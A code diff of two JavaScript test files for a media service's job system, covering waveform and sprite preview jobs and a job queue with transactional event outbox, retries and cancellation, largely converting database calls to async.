})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,132 +10,134 @@ const os = require('os');
@@ -10,132 +10,134 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const { spawnSync } = require('child_process');
const { spawnSync } = require('child_process');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-previews-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.MEDIA_JOBS_POLL_MS = '50';
-process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
-process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
-const stub = http.createServer((req, res) => {
- req.resume();
- req.on('end', () => {
- res.setHeader('Content-Type', 'application/json');
- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
- res.statusCode = 404; res.end('{}');
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-previews-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.MEDIA_JOBS_POLL_MS = '50';
+ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
+ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
+ const stub = http.createServer((req, res) => {
+ req.resume();
+ req.on('end', () => {
+ res.setHeader('Content-Type', 'application/json');
+ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
+ res.statusCode = 404; res.end('{}');
+ });
});
});
-});
-const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
-const waitFor = async (fn, ms = 30000) => { const end = Date.now() + ms; while (Date.now() < end) { if (await fn()) return true; await sleep(25); } return false; };
-const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;
-const size = (file) => { const r = spawnSync('ffprobe', ['-v', 'error', '-select_streams', 'v:0', '-show_entries', 'stream=width,height', '-of', 'csv=p=0', file], { encoding: 'utf8' }); return r.stdout.trim(); };
+ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+ const waitFor = async (fn, ms = 30000) => { const end = Date.now() + ms; while (Date.now() < end) { if (await fn()) return true; await sleep(25); } return false; };
+ const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;
+ const size = (file) => { const r = spawnSync('ffprobe', ['-v', 'error', '-select_streams', 'v:0', '-show_entries', 'stream=width,height', '-of', 'csv=p=0', file], { encoding: 'utf8' }); return r.stdout.trim(); };
-(async () => {
- // The layout alone: at most one frame per 2 s, a full grid, 16:9 tiles.
- const { spriteLayout } = require('../server/jobs/previews');
- assert.deepStrictEqual(spriteLayout(6, { frames: 100, columns: 10, tile_width: 160 }), { count: 3, interval_seconds: 2, columns: 3, rows: 1, tile_width: 160, tile_height: 90 });
- assert.deepStrictEqual(spriteLayout(43083, { frames: 100, columns: 10, tile_width: 160 }), { count: 100, interval_seconds: 430.83, columns: 10, rows: 10, tile_width: 160, tile_height: 90 });
- assert.strictEqual(spriteLayout(1, { frames: 100, columns: 10, tile_width: 160 }).count, 1);
- if (!hasFfmpeg) { console.log('preview jobs: skipped (ffmpeg not found)'); process.exit(0); }
+ (async () => {
+ // The layout alone: at most one frame per 2 s, a full grid, 16:9 tiles.
+ const { spriteLayout } = require('../server/jobs/previews');
+ assert.deepStrictEqual(spriteLayout(6, { frames: 100, columns: 10, tile_width: 160 }), { count: 3, interval_seconds: 2, columns: 3, rows: 1, tile_width: 160, tile_height: 90 });
+ assert.deepStrictEqual(spriteLayout(43083, { frames: 100, columns: 10, tile_width: 160 }), { count: 100, interval_seconds: 430.83, columns: 10, rows: 10, tile_width: 160, tile_height: 90 });
+ assert.strictEqual(spriteLayout(1, { frames: 100, columns: 10, tile_width: 160 }).count, 1);
+ if (!hasFfmpeg) { console.log('preview jobs: skipped (ffmpeg not found)'); process.exit(0); }
- await new Promise((r) => stub.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${stub.address().port}`;
- const db = require('../server/db/database');
- const conn = db.getDb();
- db.upsertApp({ app_id: 'live', api_key: 'live-key' });
- const events = require('../server/events');
- events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
- const model = require('../server/objects/model');
- const queue = require('../server/jobs/queue');
- const worker = require('../server/jobs/worker');
- const express = require('express');
- const app = express();
- app.use(express.json());
- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
- const server = http.createServer(app);
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const api = `http://127.0.0.1:${server.address().port}`;
- const call = async (method, p, { body } = {}) => {
- const res = await fetch(api + p, { method, headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });
- return { status: res.status, body: await res.json().catch(() => null) };
- };
- worker.start();
+ await new Promise((r) => stub.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${stub.address().port}`;
+ const db = require('../server/db/database');
+ const conn = db.getDb();
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ const events = require('../server/events');
+ events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
+ const model = require('../server/objects/model');
+ const queue = require('../server/jobs/queue');
+ const worker = require('../server/jobs/worker');
+ const express = require('express');
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));
+ const server = http.createServer(app);
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const api = `http://127.0.0.1:${server.address().port}`;
+ const call = async (method, p, { body } = {}) => {
+ const res = await fetch(api + p, { method, headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });
+ return { status: res.status, body: await res.json().catch(() => null) };
+ };
+ await worker.start();
- // Sources: a 20 s VOD with sound, a silent clip file, and an audio-only file.
- const mk = (name, args) => { const f = path.join(process.env.VOD_PATH, name); const r = spawnSync('ffmpeg', ['-v', 'error', '-y', ...args, f]); assert.strictEqual(r.status, 0, String(r.stderr)); return f; };
- const av = mk('rec-20.mp4', ['-f', 'lavfi', '-i', 'testsrc=duration=20:size=320x180:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=20', '-c:v', 'mpeg4', '-g', '10', '-c:a', 'aac', '-shortest']);
- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) VALUES (20, 'live', 5, 'Twenty seconds', ?, ?, 1, 20)").run(av, fs.statSync(av).size);
- const vodObj = model.sync('vod', 20).id;
- const before = JSON.stringify([model.getObject(vodObj), model.listLocations(vodObj)]);
- const native = (file, mime) => {
- const id = model.createObject({ app_id: 'live', owner_user_id: 5, lifecycle_status: 'ready', kind: 'file', mime_type: mime, size_bytes: fs.statSync(file).size, metadata: { duration_seconds: 6 } });
- model.upsertLocation(id, { provider: 'local', key: file, state: 'present', size_bytes: fs.statSync(file).size, verified: true });
- return id;
- };
- const silent = native(mk('silent.mp4', ['-f', 'lavfi', '-i', 'testsrc=duration=6:size=320x180:rate=10', '-c:v', 'mpeg4']), 'video/mp4');
- const audio = native(mk('tone.m4a', ['-f', 'lavfi', '-i', 'sine=frequency=220:duration=6', '-c:a', 'aac']), 'audio/mp4');
+ // Sources: a 20 s VOD with sound, a silent clip file, and an audio-only file.
+ const mk = (name, args) => { const f = path.join(process.env.VOD_PATH, name); const r = spawnSync('ffmpeg', ['-v', 'error', '-y', ...args, f]); assert.strictEqual(r.status, 0, String(r.stderr)); return f; };
+ const av = mk('rec-20.mp4', ['-f', 'lavfi', '-i', 'testsrc=duration=20:size=320x180:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=20', '-c:v', 'mpeg4', '-g', '10', '-c:a', 'aac', '-shortest']);
+ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (20, 'live', 5, 'Twenty seconds', ?, ?, 1, 20) RETURNING id").run(av, fs.statSync(av).size);
+ const vodObj = (await model.sync('vod', 20)).id;
+ const before = JSON.stringify([await model.getObject(vodObj), await model.listLocations(vodObj)]);
+ const native = async (file, mime) => {
+ const id = await model.createObject({ app_id: 'live', owner_user_id: 5, lifecycle_status: 'ready', kind: 'file', mime_type: mime, size_bytes: fs.statSync(file).size, metadata: { duration_seconds: 6 } });
+ await model.upsertLocation(id, { provider: 'local', key: file, state: 'present', size_bytes: fs.statSync(file).size, verified: true });
+ return id;
+ };
+ const silent = await native(mk('silent.mp4', ['-f', 'lavfi', '-i', 'testsrc=duration=6:size=320x180:rate=10', '-c:v', 'mpeg4']), 'video/mp4');
+ const audio = await native(mk('tone.m4a', ['-f', 'lavfi', '-i', 'sine=frequency=220:duration=6', '-c:a', 'aac']), 'audio/mp4');
- const runJob = async (type, objectId, params) => {
- const r = await call('POST', '/api/v2/live/jobs', { body: { type, object_id: objectId, ...(params && { params }) } });
- assert.strictEqual(r.status, 202, JSON.stringify(r.body));
- const fin = await waitFor(() => ["succeeded", "failed"].includes(queue.get(r.body.job.id).status));
- assert.ok(fin, `${type} finishes: ${JSON.stringify(queue.jobPublic(queue.get(r.body.job.id)))}`);
- return queue.jobPublic(queue.get(r.body.job.id));
- };
+ const runJob = async (type, objectId, params) => {
+ const r = await call('POST', '/api/v2/live/jobs', { body: { type, object_id: objectId, ...(params && { params }) } });
+ assert.strictEqual(r.status, 202, JSON.stringify(r.body));
+ const fin = await waitFor(async () => ["succeeded", "failed"].includes((await queue.get(r.body.job.id)).status));
+ assert.ok(fin, `${type} finishes: ${JSON.stringify(queue.jobPublic(await queue.get(r.body.job.id)))}`);
+ return queue.jobPublic(await queue.get(r.body.job.id));
+ };
- // ── Waveform ──
- const w = await runJob('object.waveform', 'legacy:live:vod:20');
- assert.strictEqual(w.status, 'succeeded', JSON.stringify(w.error));
- const wo = model.getObject(w.result.object_id);
- assert.deepStrictEqual([wo.kind, wo.mime_type, wo.visibility, wo.lifecycle_status, wo.owner_user_id], ['asset', 'image/png', 'private', 'ready', 5]);
- const wloc = model.listLocations(wo.id)[0];
- assert.strictEqual(size(wloc.key), '1800,140', 'the default waveform size');
- assert.strictEqual(model.getVariant(vodObj, 'waveform').derived_object_id, wo.id);
- assert.ok(/-waveform\.png$/.test(model.parseJson(wo.metadata, {}).filename));
+ // ── Waveform ──
+ const w = await runJob('object.waveform', 'legacy:live:vod:20');
+ assert.strictEqual(w.status, 'succeeded', JSON.stringify(w.error));
+ const wo = await model.getObject(w.result.object_id);
+ assert.deepStrictEqual([wo.kind, wo.mime_type, wo.visibility, wo.lifecycle_status, wo.owner_user_id], ['asset', 'image/png', 'private', 'ready', 5]);
+ const wloc = (await model.listLocations(wo.id))[0];
+ assert.strictEqual(size(wloc.key), '1800,140', 'the default waveform size');
+ assert.strictEqual((await model.getVariant(vodObj, 'waveform')).derived_object_id, wo.id);
+ assert.ok(/-waveform\.png$/.test(model.parseJson(wo.metadata, {}).filename));
- const w2 = await runJob('object.waveform', vodObj, { width: 400, height: 60 });
- assert.strictEqual(size(model.listLocations(w2.result.object_id)[0].key), '400,60');
- assert.strictEqual(model.getVariant(vodObj, 'waveform').derived_object_id, w2.result.object_id, 'a new waveform replaces the variant');
+ const w2 = await runJob('object.waveform', vodObj, { width: 400, height: 60 });
+ assert.strictEqual(size((await model.listLocations(w2.result.object_id))[0].key), '400,60');
+ assert.strictEqual((await model.getVariant(vodObj, 'waveform')).derived_object_id, w2.result.object_id, 'a new waveform replaces the variant');
- const ws = await runJob('object.waveform', silent);
- assert.strictEqual(ws.status, 'failed');
- assert.strictEqual(ws.error_code, 'no_audio', ws.error);
- assert.strictEqual(ws.attempts, 1, 'no retry: it is permanent');
+ const ws = await runJob('object.waveform', silent);
+ assert.strictEqual(ws.status, 'failed');
+ assert.strictEqual(ws.error_code, 'no_audio', ws.error);
+ assert.strictEqual(ws.attempts, 1, 'no retry: it is permanent');
- // ── Sprite ──
- const s = await runJob('object.sprite', vodObj);
- assert.strictEqual(s.status, 'succeeded', JSON.stringify(s.error));
- assert.deepStrictEqual(s.result.sprite, { count: 10, interval_seconds: 2, columns: 10, rows: 1, tile_width: 160, tile_height: 90 });
- const so = model.getObject(s.result.object_id);
- assert.deepStrictEqual([so.kind, so.mime_type, so.visibility], ['asset', 'image/jpeg', 'private']);
- assert.strictEqual(size(model.listLocations(so.id)[0].key), '1600,90', 'the image is the layout: 10 × 160 by 1 × 90');
- assert.deepStrictEqual(model.parseJson(so.metadata, {}).sprite, s.result.sprite, 'the layout is in the metadata');
- assert.strictEqual(model.getVariant(vodObj, 'sprite').derived_object_id, so.id);
+ // ── Sprite ──
+ const s = await runJob('object.sprite', vodObj);
+ assert.strictEqual(s.status, 'succeeded', JSON.stringify(s.error));
+ assert.deepStrictEqual(s.result.sprite, { count: 10, interval_seconds: 2, columns: 10, rows: 1, tile_width: 160, tile_height: 90 });
+ const so = await model.getObject(s.result.object_id);
+ assert.deepStrictEqual([so.kind, so.mime_type, so.visibility], ['asset', 'image/jpeg', 'private']);
+ assert.strictEqual(size((await model.listLocations(so.id))[0].key), '1600,90', 'the image is the layout: 10 × 160 by 1 × 90');
+ assert.deepStrictEqual(model.parseJson(so.metadata, {}).sprite, s.result.sprite, 'the layout is in the metadata');
+ assert.strictEqual((await model.getVariant(vodObj, 'sprite')).derived_object_id, so.id);
- const s2 = await runJob('object.sprite', silent, { frames: 4, columns: 2, tile_width: 96 });
- assert.strictEqual(s2.status, 'succeeded', JSON.stringify(s2.error));
- assert.deepStrictEqual([s2.result.sprite.count, s2.result.sprite.rows], [3, 2], '6 s: 3 frames on a 2-column grid');
- assert.strictEqual(size(model.listLocations(s2.result.object_id)[0].key), '192,108');
+ const s2 = await runJob('object.sprite', silent, { frames: 4, columns: 2, tile_width: 96 });
+ assert.strictEqual(s2.status, 'succeeded', JSON.stringify(s2.error));
+ assert.deepStrictEqual([s2.result.sprite.count, s2.result.sprite.rows], [3, 2], '6 s: 3 frames on a 2-column grid');
+ assert.strictEqual(size((await model.listLocations(s2.result.object_id))[0].key), '192,108');
- const sa = await runJob('object.sprite', audio);
- assert.strictEqual(sa.status, 'failed');
- assert.strictEqual(sa.error_code, 'no_video', sa.error);
+ const sa = await runJob('object.sprite', audio);
+ assert.strictEqual(sa.status, 'failed');
+ assert.strictEqual(sa.error_code, 'no_video', sa.error);
- const bad = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.sprite', object_id: vodObj, params: { frames: 1 } } });
- assert.strictEqual(bad.status, 400, 'params are checked when the job is asked for');
+ const bad = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.sprite', object_id: vodObj, params: { frames: 1 } } });
+ assert.strictEqual(bad.status, 400, 'params are checked when the job is asked for');
- assert.strictEqual(JSON.stringify([model.getObject(vodObj), model.listLocations(vodObj)]), before, 'the source is untouched');
- assert.strictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.jobs')).length, 0, 'work directories are removed');
+ assert.strictEqual(JSON.stringify([await model.getObject(vodObj), await model.listLocations(vodObj)]), before, 'the source is untouched');
+ assert.strictEqual(fs.readdirSync(path.join(process.env.OBJECTS_PATH, '.jobs')).length, 0, 'work directories are removed');
- worker.stop();
- events._reset();
- server.close();
- stub.close();
- console.log('jobs-previews: all checks passed');
- process.exit(0);
+ worker.stop();
+ events._reset();
+ server.close();
+ stub.close();
+ console.log('jobs-previews: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,301 +12,283 @@ const os = require('os');
@@ -12,301 +12,283 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-jobs-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.FILES_PATH = dir('files');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.MEDIA_JOBS_POLL_MS = '50';
-process.env.MEDIA_JOBS_LEASE_S = '30';
-process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-jobs-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.MEDIA_JOBS_POLL_MS = '50';
+ process.env.MEDIA_JOBS_LEASE_S = '30';
+ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
-// ── 1. A database from before the worker: the schema-only table is rebuilt, rows kept ──
-{
- const Database = require('better-sqlite3');
- const old = new Database(process.env.DB_PATH);
- old.exec(`CREATE TABLE media_jobs (id INTEGER PRIMARY KEY AUTOINCREMENT, object_id TEXT, job_type TEXT NOT NULL,
- status TEXT NOT NULL DEFAULT 'queued' CHECK(status IN ('queued', 'running', 'done', 'failed', 'cancelled')),
- attempts INTEGER NOT NULL DEFAULT 0, checkpoint TEXT, error TEXT, created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP);
- CREATE INDEX idx_media_jobs_status ON media_jobs(status, job_type);
- INSERT INTO media_jobs (object_id, job_type, status, attempts) VALUES (NULL, 'legacy.thing', 'done', 1);`);
- old.close();
-}
-const hooks = [];
-const stub = http.createServer((req, res) => {
- let body = '';
- req.on('data', (c) => { body += c; });
- req.on('end', () => {
- res.setHeader('Content-Type', 'application/json');
- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
- if (req.url === '/hook') { hooks.push(JSON.parse(body)); return res.end('{}'); }
- res.statusCode = 404; res.end('{}');
+ const hooks = [];
+ const stub = http.createServer((req, res) => {
+ let body = '';
+ req.on('data', (c) => { body += c; });
+ req.on('end', () => {
+ res.setHeader('Content-Type', 'application/json');
+ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));
+ if (req.url === '/hook') { hooks.push(JSON.parse(body)); return res.end('{}'); }
+ res.statusCode = 404; res.end('{}');
+ });
});
});
-});
-const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
-const waitFor = async (fn, ms = 5000) => {
- const end = Date.now() + ms;
- while (Date.now() < end) { if (await fn()) return true; await sleep(20); }
- return false;
-};
+ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+ const waitFor = async (fn, ms = 5000) => {
+ const end = Date.now() + ms;
+ while (Date.now() < end) { if (await fn()) return true; await sleep(20); }
+ return false;
+ };
-(async () => {
- await new Promise((r) => stub.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${stub.address().port}`;
- const db = require('../server/db/database');
- const raw = db.getDb();
+ (async () => {
+ await new Promise((r) => stub.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${stub.address().port}`;
+ const db = require('../server/db/database');
+ const raw = db.getDb();
- const cols = raw.prepare('PRAGMA table_info(media_jobs)').all().map((c) => c.name);
- assert.ok(cols.includes('app_id') && cols.includes('idempotency_key') && cols.includes('lease_until'), 'media_jobs rebuilt into the worker shape');
- const legacy = raw.prepare("SELECT * FROM media_jobs WHERE id = 'mjob_legacy_1'").get();
- assert.deepStrictEqual([legacy.job_type, legacy.status, legacy.app_id], ['legacy.thing', 'succeeded', 'unknown'], 'the old row is kept, done -> succeeded');
- assert.ok(raw.prepare("SELECT 1 FROM sqlite_master WHERE name = 'idx_media_jobs_idem'").get(), 'indexes on the new columns exist');
- db.close();
- db.getDb(); // a second open is a no-op
- assert.ok(db.get("SELECT 1 FROM media_jobs WHERE id = 'mjob_legacy_1'"));
- console.log('✅ the schema-only media_jobs table is rebuilt (rows kept); reopening is idempotent');
- db.upsertApp({ app_id: 'live', api_key: 'live-key', webhook_url: `${base}/hook`, webhook_secret: 's' });
- db.upsertApp({ app_id: 'games', api_key: 'games-key' });
- const events = require('../server/events');
- assert.ok(events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 }));
- const conn = db.getDb();
- const outbox = () => conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope));
- const jobEvents = (id) => outbox().filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);
- const jobPayloads = (id) => outbox().filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.payload);
- // The media.job.* payload: exactly these fields. The rest stays behind the tenant-scoped jobs API.
- const EVENT_KEYS = ['app_id', 'attempts', 'cancel_requested', 'created_at', 'decided_at', 'error_code', 'finished_at', 'has_result',
- 'id', 'max_attempts', 'object_id', 'run_after', 'started_at', 'status', 'type', 'updated_at'];
- const LEFT_OUT = ['params', 'idempotency_key', 'error', 'result', 'created_by', 'decided_by', 'owner_user_id'];
- const TIMES = ['run_after', 'decided_at', 'created_at', 'updated_at', 'started_at', 'finished_at'];
- const ISO = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;
- const TRANSITION_STATUS = { proposed: 'proposed', queued: 'queued', started: 'running', retrying: 'queued', succeeded: 'succeeded', failed: 'failed', cancelled: 'cancelled' };
- const assertJobEvent = (env) => {
- const p = env.payload, what = `${env.event_type} ${p.id}`;
- assert.deepStrictEqual(Object.keys(p).sort(), EVENT_KEYS, `${what}: exactly the event projection`);
- for (const k of LEFT_OUT) assert.ok(!(k in p), `${what}: no ${k}`);
- for (const k of TIMES) assert.ok(p[k] === null || ISO.test(p[k]), `${what}: ${k} is ISO 8601 UTC or null (${p[k]})`);
- assert.ok(ISO.test(p.created_at) && ISO.test(p.updated_at), `${what}: created_at and updated_at are always set`);
- assert.strictEqual(typeof p.has_result, 'boolean');
- assert.strictEqual(p.status, TRANSITION_STATUS[env.event_type.slice('media.job.'.length)], `${what}: status`);
- };
- const failOutbox = (on) => conn.exec(on
- ? "CREATE TEMP TRIGGER outbox_boom BEFORE INSERT ON event_outbox BEGIN SELECT RAISE(ABORT, 'outbox insert failed'); END"
- : 'DROP TRIGGER IF EXISTS temp.outbox_boom');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key', webhook_url: `${base}/hook`, webhook_secret: 's' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ const events = require('../server/events');
+ const relay = events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });
+ assert.ok(relay);
+ const conn = db.getDb();
+ const outbox = async () => (await conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope));
+ const jobEvents = async (id) => (await outbox()).filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);
+ const jobPayloads = async (id) => (await outbox()).filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.payload);
+ // The media.job.* payload: exactly these fields. The rest stays behind the tenant-scoped jobs API.
+ const EVENT_KEYS = ['app_id', 'attempts', 'cancel_requested', 'created_at', 'decided_at', 'error_code', 'finished_at', 'has_result',
+ 'id', 'max_attempts', 'object_id', 'run_after', 'started_at', 'status', 'type', 'updated_at'];
+ const LEFT_OUT = ['params', 'idempotency_key', 'error', 'result', 'created_by', 'decided_by', 'owner_user_id'];
+ const TIMES = ['run_after', 'decided_at', 'created_at', 'updated_at', 'started_at', 'finished_at'];
+ const ISO = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/;
+ const TRANSITION_STATUS = { proposed: 'proposed', queued: 'queued', started: 'running', retrying: 'queued', succeeded: 'succeeded', failed: 'failed', cancelled: 'cancelled' };
+ const assertJobEvent = (env) => {
+ const p = env.payload, what = `${env.event_type} ${p.id}`;
+ assert.deepStrictEqual(Object.keys(p).sort(), EVENT_KEYS, `${what}: exactly the event projection`);
+ for (const k of LEFT_OUT) assert.ok(!(k in p), `${what}: no ${k}`);
+ for (const k of TIMES) assert.ok(p[k] === null || ISO.test(p[k]), `${what}: ${k} is ISO 8601 UTC or null (${p[k]})`);
+ assert.ok(ISO.test(p.created_at) && ISO.test(p.updated_at), `${what}: created_at and updated_at are always set`);
+ assert.strictEqual(typeof p.has_result, 'boolean');
+ assert.strictEqual(p.status, TRANSITION_STATUS[env.event_type.slice('media.job.'.length)], `${what}: status`);
+ };
+ // The outbox insert fails inside the job's transaction (as a full disk or a constraint would).
+ const realEnqueue = relay.enqueue;
+ const failOutbox = (on) => { relay.enqueue = on ? async () => { throw new Error('outbox insert failed'); } : realEnqueue; };
- const queue = require('../server/jobs/queue');
- const worker = require('../server/jobs/worker');
+ const queue = require('../server/jobs/queue');
+ const worker = require('../server/jobs/worker');
- // Test job types.
- let flakyCalls = 0;
- queue.register('test.flaky', {
- lane: 'light', maxAttempts: 3, backoffS: () => 0,
- run: async (job, ctx) => {
- flakyCalls++;
- if (!ctx.checkpoint) { ctx.saveCheckpoint({ step: 1 }); throw new Error('transient'); }
- return { resumed_from: ctx.checkpoint.step };
- },
- });
- queue.register('test.permanent', { lane: 'light', run: async () => { throw new queue.JobError('bad_input', 'will never work', { permanent: true }); } });
- queue.register('test.always', { lane: 'light', maxAttempts: 2, backoffS: () => 0, run: async () => { throw new Error('nope'); } });
- let release = null;
- queue.register('test.slow', {
- lane: 'heavy',
- run: (job, ctx) => new Promise((resolve, reject) => {
- release = resolve;
- ctx.signal.addEventListener('abort', () => reject(ctx.signal.reason), { once: true });
- }),
- });
+ // Test job types.
+ let flakyCalls = 0;
+ queue.register('test.flaky', {
+ lane: 'light', maxAttempts: 3, backoffS: () => 0,
+ run: async (job, ctx) => {
+ flakyCalls++;
+ if (!ctx.checkpoint) { ctx.saveCheckpoint({ step: 1 }); throw new Error('transient'); }
+ return { resumed_from: ctx.checkpoint.step };
+ },
+ });
+ queue.register('test.permanent', { lane: 'light', run: async () => { throw new queue.JobError('bad_input', 'will never work', { permanent: true }); } });
+ queue.register('test.always', { lane: 'light', maxAttempts: 2, backoffS: () => 0, run: async () => { throw new Error('nope'); } });
+ let release = null;
+ queue.register('test.slow', {
+ lane: 'heavy',
+ run: (job, ctx) => new Promise((resolve, reject) => {
+ release = resolve;
+ ctx.signal.addEventListener('abort', () => reject(ctx.signal.reason), { once: true });
+ }),
+ });
- // ── 2. A state change and its event commit together ──
- const a = queue.enqueue({ appId: 'live', type: 'test.flaky', params: { x: 1 }, createdBy: 'test' });
- assert.ok(a.created && /^mjob_[0-9A-HJKMNP-TV-Z]{26}$/.test(a.job.id));
- assert.deepStrictEqual(jobEvents(a.job.id), ['media.job.queued']);
- const env = outbox().find((e) => e.subject.id === a.job.id);
- assert.deepStrictEqual([env.source, env.priority, env.visibility, env.payload.type, env.payload.status, env.payload.app_id], ['media', 'low', 'internal', 'test.flaky', 'queued', 'live']);
- assertJobEvent(env);
- const aRow = queue.get(a.job.id);
- assert.deepStrictEqual([env.payload.created_at, env.payload.updated_at], [aRow.created_at, aRow.updated_at].map((t) => new Date(`${t.replace(' ', 'T')}Z`).toISOString()), 'times are the row\'s, in ISO 8601 UTC');
- assert.deepStrictEqual([env.payload.attempts, env.payload.max_attempts, env.payload.error_code, env.payload.cancel_requested, env.payload.has_result, env.payload.object_id, env.payload.run_after, env.payload.started_at, env.payload.finished_at, env.payload.decided_at],
- [0, 3, null, false, false, null, null, null, null, null]);
- const q2 = queue.enqueue({ appId: 'live', type: 'test.permanent' });
- failOutbox(true);
- assert.throws(() => queue.enqueue({ appId: 'live', type: 'test.flaky', params: { x: 2 } }), /outbox insert failed/);
- assert.strictEqual(db.get("SELECT COUNT(*) AS n FROM media_jobs WHERE params = '{\"x\":2}'").n, 0, 'no job without its event');
- assert.throws(() => queue.cancel(q2.job.id, { by: 'x' }), /outbox insert failed/);
- failOutbox(false);
- assert.strictEqual(queue.get(q2.job.id).status, 'queued', 'a cancel whose event cannot be written changes nothing');
- assert.ok(hooks.length === 0, 'job events go to Events only, not the app webhook');
- console.log('✅ job state changes commit with their media.job.* outbox row, or not at all');
+ // ── 2. A state change and its event commit together ──
+ const a = await queue.enqueue({ appId: 'live', type: 'test.flaky', params: { x: 1 }, createdBy: 'test' });
+ assert.ok(a.created && /^mjob_[0-9A-HJKMNP-TV-Z]{26}$/.test(a.job.id));
+ assert.deepStrictEqual(await jobEvents(a.job.id), ['media.job.queued']);
